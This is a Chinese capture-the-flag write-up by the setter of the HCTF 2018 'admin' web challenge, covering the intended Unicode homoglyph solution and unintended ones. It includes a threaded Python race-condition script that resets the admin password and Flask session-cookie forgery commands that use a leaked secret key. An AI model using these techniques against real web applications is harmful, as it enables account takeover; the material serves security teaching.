[HCTF] admin出题人求挨打
admin
这题本来的思路是希望大家了解下Unicode的安全问题
然后因为出题人的安全疏忽,产生了很多非预期(出来挨打挨打)
学习学习非预期
预期解法
这个是spotify
的一个漏洞
![](https://img.haomeiwen.com/i9653874/d767780ceb4cb747.jpg)
就是照着这个的逻辑写了一份代码(没想到问题这么多。。我真的不是考session伪造!!)
按这个做题就好了
非预期解法
被alias嘲笑开发鬼才=。=
条件竞争
因为没有验证是否admin就赋值给session导致条件竞争修改admin密码
![](https://img.haomeiwen.com/i9653874/298d9b6ec9e40ebd.jpg)
脚本来自whitzard
import requests import threading
def login(s, username, password):
data = {'username': username, 'password':password, 'submit': ''}
return s.post("http://admin.2018.hctf.io/login", data=data)
def logout(s):
return s.get("http://admin.2018.hctf.io/logout")
def change(s, newpassword):
data = {'newpassword':newpassword }
return s.post("http://admin.2018.hctf.io/change", data=data)
def func1(s):
login(s, 'ddd', 'ddd')
change(s, 'qweqweabcabc')
def func2(s):
logout(s)
res = login(s, 'admin', 'qweqweabcabc')
if '<a href="/index">/index</a>' in res.text:
print('finish')
def main():
for i in range(1000):
print(i)
s = requests.Session()
t1 = threading.Thread(target=func1, args=(s,)) t2 = threading.Thread(target=func2, args=(s,)) t1.start()
t2.start()
if __name__ == "__main__":
main()
session伪造
因为我一不小心把secret_key给传到github了
所以可以伪造我的cookie
https://github.com/noraj/flask-session-cookie-manager
用这个工具
首先先获得cookie
然后使用这个工具
python Flasksession_cookie_manager.py decode -c '.eJw9kM1uwjAQhF-l2jOH_DSkQeqByiUikjcCpYq8F-S6DskGUylAqYx491ocOtf5NLM7N9h1kz31sDhPFzuD3fAFixs8fcICsJVX6dWvSojRvzn0OKLYMgqTkDAxNTggyyQwKZWbTPGqV27bY4kHcusI-d1TuRqlw5FcNWIjM9mSI7EdarHJqMVeBl7x6NFVrhb7VHF1wAad9BUj75_rcuOJQzcbL1uZSrG8EpuoFtVBNeuUmAK_fIX7DMxp6nbn79Eew_GZ7qIozWOd2bjIu6jLdaqNtflLkRTzRJvM6qIzc5jB4PTe_n-tXfVhlq-PxKN2wYCfoMBdTnZ67ANxBPc_h0BkmA.W-e9Ug.HvSEX-rxyPxnyB5j2HsfgyDYKLI' -s 'ckj123'
{'_fresh': True, '_id': b'5c0361cfc70f73d44c476d75e3b636367dd9b1abda4cefb4613dad2cdfbd5391ffd4b849eca2dab936bf887b2e53f32c6888d3f0f6731c7000f7482ea27f6e50', 'csrf_token': '5af00371a5e197f0f7a3acee7892962ac5ea9fc6', 'image': b'jbTp', 'name': 'vvvv', 'user_id': '10'}
python3 Flasksession_cookie_manager.py encode -t "{'_fresh': True, '_id': b'5c0361cfc70f73d44c476d75e3b636367dd9b1abda4cefb4613dad2cdfbd5391ffd4b849eca2dab936bf887b2e53f32c6888d3f0f6731c7000f7482ea27f6e50', 'csrf_token': '5af00371a5e197f0f7a3acee7892962ac5ea9fc6', 'image': b'jbTp', 'name': 'admin', 'user_id': '10'}" -s 'ckj123'
.eJw9kMtqwkAUhl-lnLWLXBrTCC5SpgYDc4KSEuZsZDpOTE4cC1GxjPjuTV10-_Px3-6wa0d77mBxGa92Brt-D4s7vHzBArCRN-nVj4qI0b879Dig2DIKE5EwIdXYI8toYmIqNoniVafctsMCj-TWAfKHp2I1SIcDuXLAWiayIUdi21dik1CDnZx4xYNHV7pKHGLF5RFrdNKXjHx4rYqNJ56y2XjZyFiK_EZsgkqUR1WvY2Ka-HwJjxmY89juLt-DPU3lE90GQZyGOrFhlrZBm-pYG2vTtyzK5pE2idVZa-Ywg97pg_1frV35afLl0_Gknf2T9q4_TeD1bMfnQRAG8PgF6chkyQ.W-e9gA.eA_1zHVsj7eaZndYC1uPklqPPl0
这样就可以伪造admin登录进去了
弱密码
可以在我的脚本看到我30分钟要刷新一次数据库
原因是我怕很多人在改密码的时候会改成弱密码,导致别人偷鸡进入admin
账户,比赛结束还是发现有些队是这样拿到flag的
现在想想应该在修改密码的时候规定只能为强密码,太菜了
玄学操作
天枢
这简直是我做ctf以来最神奇的一次经历
先是在fuzz过程中莫名其妙的拿到了flag
这一点其实想看看出题大佬怎么说的,感觉是后端数据库刷新的时候验证用户会出现问题。因为后来又复现成功了一次,具体操作是:在整点的时候注册admin账户提示已存在->再注册自己的账户提示注册成功后直接弹出flag,如下图...
![](https://img.haomeiwen.com/i9653874/4fe54a1a6bff1c08.jpg)
出题人一脸懵逼=。=,我猜是条件竞争的原因吧
总结
出题人第一次出题,太菜了=。=,经验不足,希望明年可以有更有趣的题目
做为一个学习安全的太不注意安全问题了(该打)
题目环境
https://github.com/woadsl1234/HCTF2018_admin
参考文章
http://xdxd.love/2016/10/17/unicode同形字引起的安全问题/
https://graneed.hatenablog.com/entry/2018/11/11/212048
http://blog.lnyas.xyz/?p=1411
https://graneed.hatenablog.com/entry/2018/11/11/212048
网友评论